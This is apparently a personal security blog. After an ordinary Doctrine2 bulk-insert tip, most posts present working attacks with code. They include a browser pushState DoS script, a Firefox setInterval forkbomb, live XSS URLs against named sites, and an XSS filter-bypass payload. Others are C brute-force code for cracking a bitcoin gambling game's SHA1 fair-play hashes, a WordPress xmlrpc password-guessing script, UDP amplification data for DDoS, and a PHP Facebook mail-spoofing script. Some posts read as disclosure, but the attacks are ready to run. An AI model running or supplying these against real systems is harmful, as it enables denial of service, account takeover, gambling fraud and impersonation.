Doctrine2 (PHP): inserting large amount of entities

First of all IMO Doctrine2 don't really fits for inserting large amount of data/entities because of its abstraction layer "overhead". Nevertheless during development my IpToCountry Symfony2 Bundle I have chosen to use it for easier installation and better integration of that bundle.

Data set which needs to be inserted is a .csv file from http://software77.net/geo-ip/. Its decompressed size (as I writing this note) is about 9MB and it contains about 127000 records. However I'll use gzipped file (~1.5MB) and decompress it "on the fly".

Lets look at inserting function prototype:

...
    public function load(ObjectManager $manager)
    {
        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...

This code won't work, because it'll trigger fatal error (memory exhaustion) soon or later (depends on memory limit and number of entities). What we need to do is to use chunked inserting approach and depends on doctrine debug configuration (in symfony2 it directly depends on %kernel.debug%) we need also to turn off sql logging.

The final code looks like this:

...
    public function load(ObjectManager $manager)
    {
        $count = 0;
        $objectsPerChunk = 1000;

        $manager->getConnection()->getConfiguration()->setSQLLogger(null);

        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
                    $count++;
                    if ($count%$objectsPerChunk == 0) {
                        $manager->flush();
                        $manager->clear();
                    }
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...

In line 23 there is important $manager->clear() which "detaches" all object currently managed by $manager. Basically detaching frees memory, but if you want to look under the hood and see what really happening, go to doDetach() method in Doctrine/ORM/UnitOfWork.php

You may be wondering why I choose 1000 objects per chunk, not 100, 5000 or 10000? Well in my case it turns out that the ~1000 is the best choice considering speed. Here are some benchmarks I did:

objects per chunk	time
100	3m6s
500	2m43s
800	2m43s
1000	2m37s
1200	2m38s
1500	2m46s
2000	2m39s
5000	2m53s
20000	3m17s

In the meantime...

Recently, when I have some spare time, I'm finishing my own project which I hope to release soon. However, apart from that project I have also found:

• Google Chrome <= 28 DoS (by memory exhaustion) using history.pushState
  

  <script>
  var r="BOMB!";for(var e=0;e<22;e++){r+=r;}
  for(var d=0;d<100000;d++) {
          history.pushState({},r);
  }
  </script>
  

  Live demo
  
  On android 4.2.2 @ nexus 7 this is quicker:

  <script>
  var r="";for(var e=0;e<1000000;e++){r+=String.fromCharCode(1+Math.floor(Math.random()*254));}
  history.pushState({},r,r);
  </script>
  

  
  
• pear.php.net XSS
  
  http://pear.php.net/support/lists.php (Email parameter was neither validated nor sanitized)
  
  
• satoshiroulette.com (bitcoin casino) XSS :
  
  Examples:
  
  http://satoshiroulette.com/game-info.php?mode=BTC&game=%3C/title%3E%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E
  
  http://satoshiroulette.com/render_address_roulette.php?mode=BTC&game=%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E

XSS parentheses and brackets filter bypassing

Let's assume that injection takes place in img tag src attribute:

<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="<?php echo $_GET['filename']"; ?> >
...

One approach is to use exceptions as is described here. So the injected code (filename param) should look like this:

fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="

Resulting in:

<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="" >
...

But I'd like to show you another way to do XSS without parentheses and brackets by using location.href and "data:" URI with base64 encoding. Let's inject <script>alert("XSS")<script/> code (in base64 is PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=). So crafted parameter should look like this:

fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="

Resulting in:

<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="" >
...

Winning in bad designed online games that use cryptographic hash functions as a proof of fair play

What it means that game uses cryptographic hash functions as a proof of fair play? When you start round a game state string is generated, and hash of it is displayed to you. After you lose or win original GSS (game state string) is displayed and you can verify that the hash is correct. More important fact is that GSS contains a readable wining/losing states that you can verify yourself (for example: in a "mines" game it will be position of all mines) after you end the game. This is the way some games use to show you that the game is really fair.

So basically when you crack that hash you will get GSS before you even start playing, and that will make you always win. Cracking that hash should be very hard and almost impossible and it strictly depends on GSS construction. However if GSS is bad designed you will be able to win everytime.

The best way to crack that game is to generate all possible GSSs with their hashes (this is so called "rainbow table"), but when the GSS is well designed you'll need a lot of storage (ex. thousands of petabytes). There are some GSS dynamic components (like timestamp) which make generating rainbow table impossible and that is why sometimes better option would be cracking hash on the fly (using GPU, multiple GPUs, etc.). But we have same issue here - if the GSS is well designed or you don't have enough computing power you will be waiting months, years, decades or even ages.

Now lets try to crack real example.

Satoshi-Karoshi is mines-like gambling game using bitcoin currency. There is "Free play!" option so we'll use it for our research purposes.

Step 1: Understanding GSS (game state string) structure and its implications.

First of all we need to collect some samples ("Free play!" option):

# 2x3 map:
128c4256f6fdf057b8cd759a137721efb412b10e - (2,2,2 | 2013-05-25 10:59:20)1ab8f2
84c2b4349e8884d1f024d579c4d6379bc6b46c49 - (1,2,2 | 2013-05-25 11:00:03)33bc57

# 3x6 map:
2fc25b3c901f49ada25b17d84eee033e8313a920 - (1,2,1,2,2,1 | 2013-05-25 11:00:18)b2c1af
e91cc7503926463dc9e2b9a75ee6c4378b058e40 - (3,1,2,2,2,2 | 2013-05-25 11:00:33)5c0e90
 
# 4x9 map:
74b8b7f6fb186e784883c496ed30468453c5afeb - (3,2,1,3,3,3,1,1,4 | 2013-05-25 11:00:57)b120d0
66570d11f8da47917f65e5754a875f947828d365 - (3,2,4,4,3,2,4,1,3 | 2013-05-25 11:01:17)c607fc
 
# 5x11 map:
936523f9bd3055011fbc95cd25e174b3eef762a2 - (3,4,4,1,2,4,5,3,5,1,5 | 2013-05-25 11:01:42)b599d1
73dfff09231396ebafc7aba4a1cd84156a180ffc - (3,4,2,1,3,3,1,5,1,3,5 | 2013-05-25 11:02:38)f2b4e7

It's obvious that GSS structure contains 3 different sections, and can be written as:

(MINES[positions] | TIMESTAMP)HEXSTRING

We can't generate rainbow table because of timestamp and assuming that we will be able to "guess" it, lets calculate all possibles GSSs (ignoring timestamp for now).

map 5x11 - 819200000000000 combinations (5^11[MINES] * 16^6[HEXSTRING])
map 4x9 - 4398046511104 combinations (4^9[MINES] * 16^6[HEXSTRING})
map 3x6 - 12230590464 combinations (3^6[MINES] * 16^6[HEXSTRING})
map 2x3 - 134217728 combinations (2^3[MINES] * 16^6[HEXSTRING})

So what about timestamp? We can synchronize our local computer time with game server time with some requests, or just use "Date" field from HTTP header (when you click "Free play!" there is ajax POST in the background which contains server time in http response header).

Step 2: Cracking

In ideal world we should be able to use existing tools for sha1 gpu brute-force cracking with "mask" feature (because we already know GSS structure, and we know that MINES section are numbers separated by comma, first character is always "(", etc.). oclhashcat is a great gpu hash cracker with "mask" attack support, but the maximum password length (in our case password=GSS) is set to 15 (and unfortunately oclhashcat is closed source). I haven't search enough to see if there are another alternatives gpu crackers with "mask" support but looking closer at combinations number for 2x3 map (134217728 is relatively small) we don't need to use GPU after all. I've written small brute-force cracker using fast sha1 implementation in x86 assembly by Nayuki Minase. I've modified only main() function from sha1test.c which now looks like:

...

int main(int argc, char **argv) {

        if (argc<3) { // change it for MT, cause of extra argument
                printf("\n%s HASH DATETIME\n\n", argv[0]);
                exit(0);
        }

        // self-check
        if (!self_check()) {
                printf("Self-check failed\n");
                return 1;
        }


        // change hash string (argv[1]) into proper array of uint32_t, quick&dirty way :)
        uint32_t search[5];
        char search_str[40];
        uint8_t tmp[9];
        int i,k;

        memcpy(search_str, argv[1], 40);
        for(i=0,k=0;i<40;i+=8,k++) {
                memcpy(tmp, search_str+i, 8);
                tmp[8] = 0;
                search[k] = (uint32_t)strtol(tmp, NULL, 16);
        }

        // HEXSTRING section
        uint8_t chars[] = "731fda260594be8c"; // shuffled
        uint32_t chars_len = strlen(chars);

        // MINES section
        uint8_t markers[] = "12";
        uint32_t markers_len = strlen(markers);

        // message template
        uint8_t message[36] = "(-,-,- | 2013-05-22 15:46:01)------";

        // fill timestamp
        memcpy(message+9, argv[2], 19);
        
        // fill mines for MT       
        /*message[1] = argv[3][0];
        message[3] = argv[3][1];
        message[5] = argv[3][2];*/


        // cracking
        int i_a, i_b, i_c, i_d, i_e, i_f, i_m1, i_m2, i_m3;
        uint32_t hash[5];


        for(i_m1= 0; i_m1<markers_len; i_m1++) // remove for MT
        for(i_m2= 0; i_m2<markers_len; i_m2++) // remove for MT
        for(i_m3= 0; i_m3<markers_len; i_m3++) // remove for MT
        for(i_a=0; i_a<chars_len; i_a++)
        for(i_b=0; i_b<chars_len; i_b++)
        for(i_c=0; i_c<chars_len; i_c++)
        for(i_d=0; i_d<chars_len; i_d++)
        for(i_e=0; i_e<chars_len; i_e++)
        for(i_f=0; i_f<chars_len; i_f++) {
                // MINES section
                message[1] = markers[i_m1]; // remove for MT
                message[3] = markers[i_m2]; // remove for MT
                message[5] = markers[i_m3]; // remove for MT

                // HEXSTRING section
                message[34] = chars[i_f];
                message[33] = chars[i_e];
                message[32] = chars[i_d];
                message[31] = chars[i_c];
                message[30] = chars[i_b];
                message[29] = chars[i_a];
//              printf("%s\n", message);
                sha1_hash(message, 35, hash);

                // check generated hash
                if (hash[0]==search[0] && hash[1]==search[1] && hash[2]==search[2] && hash[3] == search[3] && hash[4] == search[4]) {
                        message[35] = 0;
                        printf("Found: %s\n", message);
                        return 0;
                }
        }

        return 0;
}

...

In spite of one thread this code crack that hash in seconds. However extending to simplified multithreading for 2x3 map is easy, proper lines are marked with *MT comment in code. After changes in code we should run 8 separate threads, like in that bash script:

#!/bin/bash
./crack $1 "$2" 111 &
./crack $1 "$2" 112 &
./crack $1 "$2" 121 &
./crack $1 "$2" 122 &
./crack $1 "$2" 211 &
./crack $1 "$2" 212 &
./crack $1 "$2" 221 &
./crack $1 "$2" 222 &

And video of using it in action (I've used multithreaded version to make video length little shorter):

WARNING! If you want to win some bitcoins in that game, you should know that games for real bitcoins have different GSSs which are far more complicated and can't be cracked easily!

UPDATE 30-08-2013:
oclHashcat-plus v0.15 is capable of cracking passwords longer than 15 characters, although performance is worse. You can read more details in release note here

Wordpress password guessing with xmlrpc.php

Recently wordpress powered websites are under a password guessing attack. Since everyone writes about /wp-login.php and /wp-admin and gives tips how to protect these files I'd like to mention that xmlrpc.php file (XML-RPC wordpress "handler") also allows attacker to perform credentials guessing.

I've written simple script in PHP that check if login/password pair is valid via xmlrpc mt.getCategoryList method (however other methods also have login and passwords parameters, just look inside wp-includes/class-wp-xmlrpc-server.php)

<?php

function wp_xmlrpc_test($url = 'http://www.wordpress.org/xmlrpc.php', $login = 'admin', $password = 'admin') {

    $xml = '<?xml version="1.0" encoding="utf-8"?>
    
    mt.getCategoryList
    
    -1
    '.$login.'admin
    '.$password.'
    
    ';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);

    $uri = parse_url($url);
 
    $header[] = "Host: ".$uri['host'];
    $header[] = "Content-type: text/xml";
    $header[] = "Content-length: ".mb_strlen($xml);

    curl_setopt( $ch, CURLOPT_URL, $url);
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt( $ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt( $ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'POST');

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;
}

var_dump( wp_xmlrpc_test('http://www.wordpress.org/xmlrpc.php') );

PS. There is even method for fetching available methods (mt.supportedMethods) :)

Amplifying DDoS data volume by using spoofed UDP packets

Recently Spamhaus and Cloudflare was hit by a massive DDoS attack. Where the 300Gbits/s is impressive, it is worth mentioning that situation it's not as dramatic as media described.

Attackers used public DNS servers (with enabled recursive resolving) to amplify volume of data. In short it works because DNS uses UDP protocol which is stateless (there is no "handshaking") and source address can be spoofed easily. What is more DNS servers respond to spoofed IP with even 100x bytes more than they've received therefore they are widely used as a data volume "amplifiers". Keeping in mind that this method succeeded mainly because of UDP nature, internet architecture and routing, we can use other applications based on UDP to amplify volume of data. Problem is not new and back in 2000 document "Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing" was created. You can read more on CNETs "How the Spamhaus DDoS attack could have been prevented"

Lets check some other possible "amplifiers". Online game servers will be a good start, because games commonly use UDP and many servers allow to query them for fetching their status, settings, players etc. Of course number of game servers can't be compared to number of "vulnerable" dns servers, which is 25 million according to Open DNS Resolver Project.

So today I've recreated my research I did couple years ago. I chose 5 popular (IMO) games and for each game I picked up 5 random empty servers from gametracker.com. Games that I've chosen are: Quake 3, Call of Duty 4, Counter Strike 1.6, Counter Strike Source and Team Fortress 2.

Here are the results:

		sent packet size	server 1 response size	server 2 response size	server 3 response size	server 4 response size	server 5 response size	average response size	% gain	ratio	servers @ gametracker	servers @ game-monitor
	Q3	56	923	757	933	988	1007	921.6	1646	16.46	400	1290
	COD4	56	450	448	538	585	523	508.8	909	9.09	5535	5392
	CS 1.6	57	2070	2104	1730	2111	2028	2008.6	3524	35.24	30669	50054
	CS:S	108	1696	3525	1806	1717	2191	2187	2025	20.25	9696	16963
	TF2	108	2319	2589	3723	2775	2837	2848.6	2638	26.38	6560	13875

So it is clear that the best candidate for "amplifier" from my small test set is Counter Strike 1.6 because of average 35-to-1 ratio and the biggest estimated number of public servers. Nevertheless it can't be compared to DNS open recursive resolvers.

PS. Both Q3 and COD4 use same network protocol in application layer (Quake3). Same situation is with TF2 and CS:S (Source).

PS 2. In the past there was similar issue with spoofed ICMP protocol packets and it is called Smurf attack

Joomla vulnerability transforms web pages into ddosing tools?

In my very first post I've described PHP unserialize function and what are dangers of using it. During my research I've found out that Joomla has not sanitaze and validate serialized argument passing from request (CVE-2013-1453). Vulnerable code exists in Highlight system plugin which is enabled by default. Joomla 2.x and 3.x series are affected (<=2.5.8 and <=3.0.2), however 1.x is not vulnerable.

Exploitation with JStream class:

By using JStream class attacker can "chmod" any files with any mode with web server user, or use it to make connection (by ftp_connect function) to remote host. What is more, when we specify tcp port to 80 in connection string (ftp://u:p@host:80/), the php script will open connection which will last until php script time limit exceeded or connection to host is timeouted (because of differrent protocols). This can be used for DoS/DDoS attacks.

Video of using PoC exploit:


You can download exploit here.

PS. Cheers to Egidio Romano who found this bug week earlier than me and is credited in official joomla report :)

Firefox 18 with new IonMonkey JIT has landed, but...

Yesterday Mozilla released Firefox 18. The main improvement is new JIT compiler called IonMonkey (release note you can find here).

Sadly, Firefox 18 is still vulnerable to javascript simple forkbomb which results in denial of service:

function x() {
  for(var r=0; r<100000; r++) {
    var e=setInterval("x()", 1);
  }
}

var d=setInterval("x()", 1);

Live test "here".

PS 1. New Firefox contains also integrated PDF Viewer called PDF.js. Interesting fact is that it's written entirely in Javascript. Project is available on github.

PS 2. Firefox 10 was released on January 31, 2012, so it's 9th Firefox version since then. Software development philosophy responsible for such rapid releasing is called Release early, release often.

Wstrzykiwanie kodu html na stronę NFZ

Niewystarczająca filtracja (usuwanie tylko frazy script) w parametrze slowo w skrypcie new/tagi.php powoduje, że poprzez manipulację tego parametru możemy wstawić dowolny kod html.

Dla przykładu wstrzyknięcie takiego kodu html:

<span style="position:absolute;left:150px;top:45px;">
  <img src="http://bit.ly/Uoyc3d" width=50 />
</span>

Da wynik:

Przetestuj sam

Błąd został zgłoszony, a dobór obrazka w przykładzie jest zupełnie przypadkowy :)

Update 07-01-2013: Błąd został naprawiony.

Facebook: sending messages to strangers (non friends) for free or/and spoofing sender

Facebook tests paid messages to strangers. How much would you pay to contact a stranger? Well, actually you can do it for free. In case if you don't know, when you have facebook account you already have email address in facebook domain. You can just simply send email to particular address, and message will appear in facebook inbox. However, depends on settings in "Who can contact me" receiver will be notified or not and message will be put in "Inbox" or "Other" mailbox. By default it is set to "Basic Filtering", which means that you will be notified ("paid option" just ignore those settings so receiver will be always notified and you have guarantee that your message will be put in "Inbox").

This is already well-known issue as a facebook message spoofing. Why? Because we can spoof mail header in a oldschool way :) For example this simple php script will do the job:

$to = 'facebookID@facebook.com';
$senderAddress = 'email@address.tld';
$subject = 'Some subject';
$message = 'Some message';

$header = "From: $senderAddress\nReply-To: $senderAddress";
$mail = mail($to, $subject, $message, $header);

This short video demonstrating above script in action:

PS. And yes, facebook is filtering and rejecting mails from facebook.com domain. If it didn't it would be devastating.